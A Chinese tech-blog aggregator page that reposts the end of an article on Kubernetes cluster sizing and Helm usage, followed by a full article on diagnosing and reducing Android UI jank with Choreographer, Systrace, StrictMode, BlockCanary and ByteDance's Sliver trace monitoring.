计算任务与应用之间削峰填谷:由于计算任务是短时任务,可以通过上层的任务调度软件,在多个集群之间分发计算任务,从而达到集群之间资源共享的目的。 选择集群规模的时候,可以参考上述分析,结合实际情况选择适合的集群划分。 Helm? Helm是为了解决K8S管理对象散碎的问题,在K8S中并没有"应用"的概念,只有一个个散的对象(Deployment, ConfigMap, Service, etc),而一个"应用"是多个对象组合起来的,且这些对象之间还可能存在一定的版本配套关系。 Helm 通过将K8S多个对象打包为一个包并标注版本号形成一个"应用",通过 Helm 管理进程部署/升级这个"应用"。这种方式解决了一些问题(应用分发更方便)同时也引入了一些问题(引入Helm增加应用发布/管理复杂度、在K8S修改了对象后如何同步到Helm)。对于是否需要使用Helm,建议如下: 在自运维模式下不使用Helm: 自运维模式下,很多场景是开发团队交付一个运行包,运维团队负责部署与配置下发,内部通过兼容性或软件包与配置版本配套清单、管理软件包与配置的配套关系。 在交付软件包模式下使用Helm: 交付软件包模式下,Helm 这种把散碎组件组装为一个应用的模式比较适合,使用Helm实现软件包分发/部署/升级场比较简单。 Reference DOCKER vs LXC vs VIRTUAL MACHINES Cgroup与LXC简介 Introducing Container Runtime Interface (CRI) in Kubernetes frakti rkt appc-spec OCI 和 runc:容器标准化和 docker Linux 容器技术史话:从 chroot 到未来 Linux Namespace和Cgroup Java inside docker: What you must know to not FAIL QEMU,KVM及QEMU-KVM介绍 kvm libvirt qemu实践系列(一)-kvm介绍 KVM 介绍(4):I/O 设备直接分配和 SR-IOV [KVM PCI/PCIe Pass-Through SR-IOV] prometheus-book 到底什么是Unikernel? The Rise and Fall of the Operating System The Design and Implementation of the Anykernel and Rump Kernels UniKernel Unikernel:从不入门到入门 OSv 京东如何打造K8s全球最大集群支撑万亿电商交易 Cloud Native App Hub 更多云最佳实践 https://best.practices.cloud 本篇文章为转载内容。原文链接:https://blog.csdn.net/sinat_33155975/article/details/118013855。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-17 15:03:28
225
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 浅谈 前段时间有个客户问我,为啥你们项目都搞了好几年了,为啥线上还会经常反馈卡顿,呃呃呃。。 于是根据自己的理解以及网上大佬们的思路总结了一篇关于卡顿优化这块的文章。 卡顿问题是一个老生常谈的话题了,一个App的好坏,卡顿也许会占一半,它直接决定了用户的留存问题,各大app排行版上,那些知名度较高,但是排行较低的,可能就要思考思考是不是和你app本身有关系了。 卡顿一直是性能优化中相对重要的一个点,因为其涉及了UI绘制、垃圾回收(GC)、线程调度以及Binder,CPU,GPU方面等JVM以及FrameWork相关知识 如果能做好卡顿优化,那么也就间接证明你对Android FrameWork的理解之深。 接下来我们就来讲解下卡顿方面的知识。 什么是卡顿: 对用户来讲就是界面不流畅,滞顿。 场景如下: 1.视频加载慢,画面卡顿,卡死,黑屏 2.声音卡顿,音画不同步。 3.动画帧卡顿,交互响应慢 4.滑动不跟手,列表自动更新,滚动不流畅 5.网络响应慢,数据和画面展示慢、 6.过渡动画生硬。 7.界面不可交互,卡死,等等现象。 卡顿是如何发生的 卡顿产生的原因一般都比较复杂,如CPU内存大小,IO操作,锁操作,低效的算法等都会引起卡顿。 站在开发的角度看: 通常我们讲,屏幕刷新率是60fps,需要在16ms内完成所有的工作才不会造成卡顿。 为什么是16ms,不是17,18呢? 下面我们先来理清在UI绘制中的几个概念: SurfaceFlinger: SurfaceFlinger作用是接受多个来源的图形显示数据Surface,合成后发送到显示设备,比如我们的主界面中:可能会有statusBar,侧滑菜单,主界面,这些View都是独立Surface渲染和更新,最后提交给SF后,SF根据Zorder,透明度,大小,位置等参数,合成为一个数据buffer,传递HWComposer或者OpenGL处理,最终给显示器。 在显示过程中使用到了bufferqueue,surfaceflinger作为consumer方,比如windowmanager管理的surface作为生产方产生页面,交由surfaceflinger进行合成。 VSYNC Android系统每隔16ms发出VSYNC信号,触发对UI进行渲染,VSYNC是一种在PC上很早就有应用,可以理解为一种定时中断技术。 tearing 问题: 早期的 Android 是没有 vsync 机制的,CPU 和 GPU 的配合也比较混乱,这也造成著名的 tearing 问题,即 CPU/GPU 直接更新正在显示的屏幕 buffer 造成画面撕裂。 后续 Android 引入了双缓冲机制,但是 buffer 的切换也需要一个比较合适的时机,也就是屏幕扫描完上一帧后的时机,这也就是引入 vsync 的原因。 早先一般的屏幕刷新率是 60fps,所以每个 vsync 信号的间隔也是 16ms,不过随着技术的更迭以及厂商对于流畅性的追求,越来越多 90fps 和 120fps 的手机面世,相对应的间隔也就变成了 11ms 和 8ms。 VSYNC信号种类: 1.屏幕产生的硬件VSYNC:硬件VSYNC是一种脉冲信号,起到开关和触发某种操作的作用。 2.由SurfaceFlinger将其转成的软件VSYNC信号,经由Binder传递给Choreographer Choreographer: 编舞者,用于注册VSYNC信号并接收VSYNC信号回调,当内部接收到这个信号时最终会调用到doFrame进行帧的绘制操作。 Choreographer在系统中流程: 如何通过Choreographer计算掉帧情况:原理就是: 通过给Choreographer设置FrameCallback,在每次绘制前后看时间差是16.6ms的多少倍,即为前后掉帧率。 使用方式如下: //Application.javapublic void onCreate() {super.onCreate();//在Application中使用postFrameCallbackChoreographer.getInstance().postFrameCallback(new FPSFrameCallback(System.nanoTime()));}public class FPSFrameCallback implements Choreographer.FrameCallback {private static final String TAG = "FPS_TEST";private long mLastFrameTimeNanos = 0;private long mFrameIntervalNanos;public FPSFrameCallback(long lastFrameTimeNanos) {mLastFrameTimeNanos = lastFrameTimeNanos;mFrameIntervalNanos = (long)(1000000000 / 60.0);}@Overridepublic void doFrame(long frameTimeNanos) {//初始化时间if (mLastFrameTimeNanos == 0) {mLastFrameTimeNanos = frameTimeNanos;}final long jitterNanos = frameTimeNanos - mLastFrameTimeNanos;if (jitterNanos >= mFrameIntervalNanos) {final long skippedFrames = jitterNanos / mFrameIntervalNanos;if(skippedFrames>30){//丢帧30以上打印日志Log.i(TAG, "Skipped " + skippedFrames + " frames! "+ "The application may be doing too much work on its main thread.");} }mLastFrameTimeNanos=frameTimeNanos;//注册下一帧回调Choreographer.getInstance().postFrameCallback(this);} } UI绘制全路径分析: 有了前面几个概念,这里我们让SurfaceFlinger结合View的绘制流程用一张图来表达整个绘制流程: 生产者:APP方构建Surface的过程。 消费者:SurfaceFlinger UI绘制全路径分析卡顿原因: 接下来,我们逐个分析,看看都会有哪些原因可能造成卡顿: 1.渲染流程 1.Vsync 调度:这个是起始点,但是调度的过程会经过线程切换以及一些委派的逻辑,有可能造成卡顿,但是一般可能性比较小,我们也基本无法介入; 2.消息调度:主要是 doframe Message 的调度,这就是一个普通的 Handler 调度,如果这个调度被其他的 Message 阻塞产生了时延,会直接导致后续的所有流程不会被触发 3.input 处理:input 是一次 Vsync 调度最先执行的逻辑,主要处理 input 事件。如果有大量的事件堆积或者在事件分发逻辑中加入大量耗时业务逻辑,会造成当前帧的时长被拉大,造成卡顿,可以尝试通过事件采样的方案,减少 event 的处理 4.动画处理:主要是 animator 动画的更新,同理,动画数量过多,或者动画的更新中有比较耗时的逻辑,也会造成当前帧的渲染卡顿。对动画的降帧和降复杂度其实解决的就是这个问题; 5.view 处理:主要是接下来的三大流程,过度绘制、频繁刷新、复杂的视图效果都是此处造成卡顿的主要原因。比如我们平时所说的降低页面层级,主要解决的就是这个问题; 6.measure/layout/draw:view 渲染的三大流程,因为涉及到遍历和高频执行,所以这里涉及到的耗时问题均会被放大,比如我们会降不能在 draw 里面调用耗时函数,不能 new 对象等等; 7.DisplayList 的更新:这里主要是 canvas 和 displaylist 的映射,一般不会存在卡顿问题,反而可能存在映射失败导致的显示问题; 8.OpenGL 指令转换:这里主要是将 canvas 的命令转换为 OpenGL 的指令,一般不存在问题 9.buffer 交换:这里主要指 OpenGL 指令集交换给 GPU,这个一般和指令的复杂度有关 10.GPU 处理:顾名思义,这里是 GPU 对数据的处理,耗时主要和任务量和纹理复杂度有关。这也就是我们降低 GPU 负载有助于降低卡顿的原因; 11.layer 合成:Android P 修改了 Layer 的计算方法 , 把这部分放到了 SurfaceFlinger 主线程去执行, 如果后台 Layer 过多, 就会导致 SurfaceFlinger 在执行 rebuildLayerStacks 的时候耗时 , 导致 SurfaceFlinger 主线程执行时间过长。 可以选择降低Surface层级来优化卡顿。 12.光栅化/Display:这里暂时忽略,底层系统行为; Buffer 切换:主要是屏幕的显示,这里 buffer 的数量也会影响帧的整体延迟,不过是系统行为,不能干预。 2.系统负载 内存:内存的吃紧会直接导致 GC 的增加甚至 ANR,是造成卡顿的一个不可忽视的因素; CPU:CPU 对卡顿的影响主要在于线程调度慢、任务执行的慢和资源竞争,比如 1.降频会直接导致应用卡顿; 2.后台活动进程太多导致系统繁忙,cpu \ io \ memory 等资源都会被占用, 这时候很容易出现卡顿问题 ,这种情况比较常见,可以使用dumpsys cpuinfo查看当前设备的cpu使用情况: 3.主线程调度不到 , 处于 Runnable 状态,这种情况比较少见 4.System 锁:system_server 的 AMS 锁和 WMS 锁 , 在系统异常的情况下 , 会变得非常严重 , 如下图所示 , 许多系统的关键任务都被阻塞 , 等待锁的释放 , 这时候如果有 App 发来的 Binder 请求带锁 , 那么也会进入等待状态 , 这时候 App 就会产生性能问题 ; 如果此时做 Window 动画 , 那么 system_server 的这些锁也会导致窗口动画卡顿 GPU:GPU 的影响见渲染流程,但是其实还会间接影响到功耗和发热; 功耗/发热:功耗和发热一般是不分家的,高功耗会引起高发热,进而会引起系统保护,比如降频、热缓解等,间接的导致卡顿。 如何监控卡顿 线下监控: 我们知道卡顿问题的原因错综复杂,但最终都可以反馈到CPU使用率上来 1.使用dumpsys cpuinfo命令 这个命令可以获取当时设备cpu使用情况,我们可以在线下通过重度使用应用来检测可能存在的卡顿点 A8S:/ $ dumpsys cpuinfoLoad: 1.12 / 1.12 / 1.09CPU usage from 484321ms to 184247ms ago (2022-11-02 14:48:30.793 to 2022-11-02 14:53:30.866):2% 1053/scanserver: 0.2% user + 1.7% kernel0.6% 934/system_server: 0.4% user + 0.1% kernel / faults: 563 minor0.4% 564/signserver: 0% user + 0.4% kernel0.2% 256/ueventd: 0.1% user + 0% kernel / faults: 320 minor0.2% 474/surfaceflinger: 0.1% user + 0.1% kernel0.1% 576/vendor.sprd.hardware.gnss@2.0-service: 0.1% user + 0% kernel / faults: 54 minor0.1% 286/logd: 0% user + 0% kernel / faults: 10 minor0.1% 2821/com.allinpay.appstore: 0.1% user + 0% kernel / faults: 1312 minor0.1% 447/android.hardware.health@2.0-service: 0% user + 0% kernel / faults: 1175 minor0% 1855/com.smartpos.dataacqservice: 0% user + 0% kernel / faults: 755 minor0% 2875/com.allinpay.appstore:pushcore: 0% user + 0% kernel / faults: 744 minor0% 1191/com.android.systemui: 0% user + 0% kernel / faults: 70 minor0% 1774/com.android.nfc: 0% user + 0% kernel0% 172/kworker/1:2: 0% user + 0% kernel0% 145/irq/24-70900000: 0% user + 0% kernel0% 575/thermald: 0% user + 0% kernel / faults: 300 minor... 2.CPU Profiler 这个工具是AS自带的CPU性能检测工具,可以在PC上实时查看我们CPU使用情况。 AS提供了四种Profiling Model配置: 1.Sample Java Methods:在应用程序基于Java的代码执行过程中,频繁捕获应用程序的调用堆栈 获取有关应用程序基于Java的代码执行的时间和资源使用情况信息。 2.Trace java methods:在运行时对应用程序进行检测,以在每个方法调用的开始和结束时记录时间戳。收集时间戳并进行比较以生成方法跟踪数据,包括时序信息和CPU使用率。 请注意与检测每种方法相关的开销会影响运行时性能,并可能影响性能分析数据。对于生命周期相对较短的方法,这一点甚至更为明显。此外,如果您的应用在短时间内执行大量方法,则探查器可能会很快超过其文件大小限制,并且可能无法记录任何进一步的跟踪数据。 3.Sample C/C++ Functions:捕获应用程序本机线程的示例跟踪。要使用此配置,您必须将应用程序部署到运行Android 8.0(API级别26)或更高版本的设备。 4.Trace System Calls:捕获细粒度的详细信息,使您可以检查应用程序与系统资源的交互方式 您可以检查线程状态的确切时间和持续时间,可视化CPU瓶颈在所有内核中的位置,并添加自定义跟踪事件进行分析。在对性能问题进行故障排除时,此类信息可能至关重要。要使用此配置,您必须将应用程序部署到运行Android 7.0(API级别24)或更高版本的设备。 使用方式: Debug.startMethodTracing("");// 需要检测的代码片段...Debug.stopMethodTracing(); 优点:有比较全面的调用栈以及图像化方法时间显示,包含所有线程的情况 缺点:本身也会带来一点的性能开销,可能会带偏优化方向 火焰图:可以显示当前应用的方法堆栈: 3.Systrace Systrace在前面一篇分析启动优化的文章讲解过 这里我们简单来复习下: Systrace用来记录当前应用的系统以及应用(使用Trace类打点)的各阶段耗时信息包括绘制信息以及CPU信息等。 使用方式: Trace.beginSection("MyApp.onCreate_1");alt(200);Trace.endSection(); 在命令行中: python systrace.py -t 5 sched gfx view wm am app webview -a "com.chinaebipay.thirdcall" -o D:\trac1.html 记录的方法以及CPU中的耗时情况: 优点: 1.轻量级,开销小,CPU使用率可以直观反映 2.右侧的Alerts能够根据我们应用的问题给出具体的建议,比如说,它会告诉我们App界面的绘制比较慢或者GC比较频繁。 4.StrictModel StrictModel是Android提供的一种运行时检测机制,用来帮助开发者自动检测代码中不规范的地方。 主要和两部分相关: 1.线程相关 2.虚拟机相关 基础代码: private void initStrictMode() {// 1、设置Debug标志位,仅仅在线下环境才使用StrictModeif (DEV_MODE) {// 2、设置线程策略StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().detectCustomSlowCalls() //API等级11,使用StrictMode.noteSlowCode.detectDiskReads().detectDiskWrites().detectNetwork() // or .detectAll() for all detectable problems.penaltyLog() //在Logcat 中打印违规异常信息// .penaltyDialog() //也可以直接跳出警报dialog// .penaltyDeath() //或者直接崩溃.build());// 3、设置虚拟机策略StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().detectLeakedSqlLiteObjects()// 给NewsItem对象的实例数量限制为1.setClassInstanceLimit(NewsItem.class, 1).detectLeakedClosableObjects() //API等级11.penaltyLog().build());} } 线上监控: 线上需要自动化的卡顿检测方案来定位卡顿,它能记录卡顿发生时的场景。 自动化监控原理: 采用拦截消息调度流程,在消息执行前埋点计时,当耗时超过阈值时,则认为是一次卡顿,会进行堆栈抓取和上报工作 首先,我们看下Looper用于执行消息循环的loop()方法,关键代码如下所示: / Run the message queue in this thread. Be sure to call {@link quit()} to end the loop./public static void loop() {...for (;;) {Message msg = queue.next(); // might blockif (msg == null) {// No message indicates that the message queue is quitting.return;// This must be in a local variable, in case a UI event sets the loggerfinal Printer logging = me.mLogging;if (logging != null) {// 1logging.println(">>>>> Dispatching to " + msg.target + " " +msg.callback + ": " + msg.what);}...try {// 2 msg.target.dispatchMessage(msg);dispatchEnd = needEndTime ? SystemClock.uptimeMillis() : 0;} finally {if (traceTag != 0) {Trace.traceEnd(traceTag);} }...if (logging != null) {// 3logging.println("<<<<< Finished to " + msg.target + " " + msg.callback);} 在Looper的loop()方法中,在其执行每一个消息(注释2处)的前后都由logging进行了一次打印输出。可以看到,在执行消息前是输出的">>>>> Dispatching to “,在执行消息后是输出的”<<<<< Finished to ",它们打印的日志是不一样的,我们就可以由此来判断消息执行的前后时间点。 具体的实现可以归纳为如下步骤: 1、首先,我们需要使用Looper.getMainLooper().setMessageLogging()去设置我们自己的Printer实现类去打印输出logging。这样,在每个message执行的之前和之后都会调用我们设置的这个Printer实现类。 2、如果我们匹配到">>>>> Dispatching to "之后,我们就可以执行一行代码:也就是在指定的时间阈值之后,我们在子线程去执行一个任务,这个任务就是去获取当前主线程的堆栈信息以及当前的一些场景信息,比如:内存大小、电脑、网络状态等。 3、如果在指定的阈值之内匹配到了"<<<<< Finished to ",那么说明message就被执行完成了,则表明此时没有产生我们认为的卡顿效果,那我们就可以将这个子线程任务取消掉。 这里我们使用blockcanary来做测试: BlockCanary APM是一个非侵入式的性能监控组件,可以通过通知的形式弹出卡顿信息。它的原理就是我们刚刚讲述到的卡顿监控的实现原理。 使用方式: 1.导入依赖 implementation 'com.github.markzhai:blockcanary-android:1.5.0' Application的onCreate方法中开启卡顿监控 // 注意在主进程初始化调用BlockCanary.install(this, new AppBlockCanaryContext()).start(); 3.继承BlockCanaryContext类去实现自己的监控配置上下文类 public class AppBlockCanaryContext extends BlockCanaryContext {....../ 指定判定为卡顿的阈值threshold (in millis), 你可以根据不同设备的性能去指定不同的阈值 @return threshold in mills/public int provideBlockThreshold() {return 1000;}....} 4.在Activity的onCreate方法中执行一个耗时操作 try {Thread.sleep(4000);} catch (InterruptedException e) {e.printStackTrace();} 5.结果: 可以看到一个和LeakCanary一样效果的阻塞可视化堆栈图 那有了BlockCanary的方法耗时监控方式是不是就可以解百愁了呢,呵呵。有那么容易就好了 根据原理:我们拿到的是msg执行前后的时间和堆栈信息,如果msg中有几百上千个方法,就无法确认到底是哪个方法导致的耗时,也有可能是多个方法堆积导致。 这就导致我们无法准确定位哪个方法是最耗时的。如图中:堆栈信息是T2的,而发生耗时的方法可能是T1到T2中任何一个方法甚至是堆积导致。 那如何优化这块? 这里我们采用字节跳动给我们提供的一个方案:基于 Sliver trace 的卡顿监控体系 Sliver trace 整体流程图: 主要包含两个方面: 检测方案: 在监控卡顿时,首先需要打开 Sliver 的 trace 记录能力,Sliver 采样记录 trace 执行信息,对抓取到的堆栈进行 diff 聚合和缓存。 同时基于我们的需要设置相应的卡顿阈值,以 Message 的执行耗时为衡量。对主线程消息调度流程进行拦截,在消息开始分发执行时埋点,在消息执行结束时计算消息执行耗时,当消息执行耗时超过阈值,则认为产生了一次卡顿。 堆栈聚合策略: 当卡顿发生时,我们需要为此次卡顿准备数据,这部分工作是在端上子线程中完成的,主要是 dump trace 到文件以及过滤聚合要上报的堆栈。分为以下几步: 1.拿到缓存的主线程 trace 信息并 dump 到文件中。 2.然后从文件中读取 trace 信息,按照数据格式,从最近的方法栈向上追溯,找到当前 Message 包含的全部 trace 信息,并将当前 Message 的完整 trace 写入到待上传的 trace 文件中,删除其余 trace 信息。 3.遍历当前 Message trace,按照(Method 执行耗时 > Method 耗时阈值 & Method 耗时为该层堆栈中最耗时)为条件过滤出每一层函数调用堆栈的最长耗时函数,构成最后要上报的堆栈链路,这样特征堆栈中的每一步都是最耗时的,且最底层 Method 为最后的耗时大于阈值的 Method。 之后,将 trace 文件和堆栈一同上报,这样的特征堆栈提取策略保证了堆栈聚合的可靠性和准确性,保证了上报到平台后堆栈的正确合理聚合,同时提供了进一步分析问题的 trace 文件。 可以看到字节给的是一整套监控方案,和前面BlockCanary不同之处就在于,其是定时存储堆栈,缓存,然后使用diff去重的方式,并上传到服务器,可以最大限度的监控到可能发生比较耗时的方法。 开发中哪些习惯会影响卡顿的发生 1.布局太乱,层级太深。 1.1:通过减少冗余或者嵌套布局来降低视图层次结构。比如使用约束布局代替线性布局和相对布局。 1.2:用 ViewStub 替代在启动过程中不需要显示的 UI 控件。 1.3:使用自定义 View 替代复杂的 View 叠加。 2.主线程耗时操作 2.1:主线程中不要直接操作数据库,数据库的操作应该放在数据库线程中完成。 2.2:sharepreference尽量使用apply,少使用commit,可以使用MMKV框架来代替sharepreference。 2.3:网络请求回来的数据解析尽量放在子线程中,不要在主线程中进行复制的数据解析操作。 2.4:不要在activity的onResume和onCreate中进行耗时操作,比如大量的计算等。 2.5:不要在 draw 里面调用耗时函数,不能 new 对象 3.过度绘制 过度绘制是同一个像素点上被多次绘制,减少过度绘制一般减少布局背景叠加等方式,如下图所示右边是过度绘制的图片。 4.列表 RecyclerView使用优化,使用DiffUtil和notifyItemDataSetChanged进行局部更新等。 5.对象分配和回收优化 自从Android引入 ART 并且在Android 5.0上成为默认的运行时之后,对象分配和垃圾回收(GC)造成的卡顿已经显著降低了,但是由于对象分配和GC有额外的开销,它依然又可能使线程负载过重。 在一个调用不频繁的地方(比如按钮点击)分配对象是没有问题的,但如果在在一个被频繁调用的紧密的循环里,就需要避免对象分配来降低GC的压力。 减少小对象的频繁分配和回收操作。 好了,关于卡顿优化的问题就讲到这里,下篇文章会对卡顿中的ANR情况的处理,这里做个铺垫。 如果喜欢我的文章,欢迎关注我的公众号。 点击这看原文链接: 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列:Android屏幕刷新机制—VSync、Choreographer 全面理解! 深入探索Android卡顿优化(上) 西瓜卡顿 & ANR 优化治理及监控体系建设 5376)] 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列:Android屏幕刷新机制—VSync、Choreographer 全面理解! 深入探索Android卡顿优化(上) 西瓜卡顿 & ANR 优化治理及监控体系建设 本篇文章为转载内容。原文链接:https://blog.csdn.net/yuhaibing111/article/details/127682399。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-26 08:05:57
214
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
sed -i 's/old_string/new_string/g' file.txt
- 在文件内替换字符串。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"